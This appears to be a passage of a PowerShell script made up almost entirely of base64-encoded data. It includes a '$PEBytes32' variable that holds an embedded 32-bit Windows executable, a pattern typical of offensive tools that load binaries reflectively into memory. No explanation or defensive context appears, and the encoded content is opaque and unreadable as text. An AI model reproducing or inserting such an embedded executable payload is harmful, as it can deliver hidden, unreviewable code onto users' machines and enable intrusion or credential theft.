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2723
2724 $PEBytes32 = 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2PP/Xg35UAHQF/3ZU/9eDflwAdAX/dlz/14tOYIXJdAiLViTomAIAAFb/119ew1NVVrsMaAgQM+1TVWgQaAgQi/LoTF4AAIPEDIX2D4R5AQAAV/82/zZTVWg4aAgQ6DBeAAD/dgT/dgRTVWiAaAgQ6B5eAAD/dgj/dghTVWjIaAgQ6AxeAACLTgyD+QcbwCPB/zSFOAMIEFFRU1VoEGkIEOjtXQAAg8RU/3YQ/3YQU1VoYGkIEOjYXQAAU1VopGkIEOjMXQAAjU4U6JKeAAC/1GkIEFfouV0AAP92HP92HFNVaNhpCBDop10AAItOIOhpBgAAUFFRU1VoIGoIEOiQXQAAg8RQ/3Yk/3YkU1VocGoIEOh7XQAA/3Yo/3YoU1VouGoIEOhpXQAA/3Ys/3YsU1VoAGsIEOhXXQAA/3Y0U1VoRGsIEOhIXQAAg8RM/3ZMU1VoeGsIEOg2XQAA/3ZEU1VorGsIEOgnXQAA/3Y8U1Vo4GsIEOgYXQAA/3ZUU1V